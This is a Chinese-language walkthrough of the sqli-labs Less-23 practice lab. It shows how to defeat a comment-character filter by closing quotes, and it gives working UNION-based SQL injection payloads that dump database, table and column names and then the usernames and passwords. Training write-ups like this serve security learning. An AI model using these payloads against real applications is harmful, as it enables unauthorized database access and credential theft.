Less -23

Less-23 注释符过滤

1. 首先，在尝试'发现可以注入，但是在尝试注入之后一直报错。并且无论是#还是--+，回显都没有出现，初步判断是注释符过滤了。

2. 查看源码可以看到，#和--+都被替换为了空字符。所以这次要考虑闭合掉引号，构造查询语句。

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

3. 那么构造语句，测试是否存在注入点。查询成功，表示注入点存在的。

' or 1=1 or id='

4. 从后台查看语句是。这里是使用了'对整个查询进行闭合，我们可以操作的部位就是在or 1=1

 SELECT * FROM users WHERE id='' or 1=1 or id='' LIMIT 0,1

5. 获取数据库名字，第二个关键字database()其实只是作为一个关键字，完善or并将查询语句补充完整，没有实际效用。

' union select 1,database(),3 or database()='2

6. 获取表名，

' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" or database()='2

7. 获取列名，这里将第二个database()换掉是因为会影响查询结果，直接换为table_name=users'可以完成查询与闭合。

' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and table_name='users

8. 获取数据，爆库成功

' union select 1,group_concat(concat_ws("|",id,username,password)),3 from users where database()='security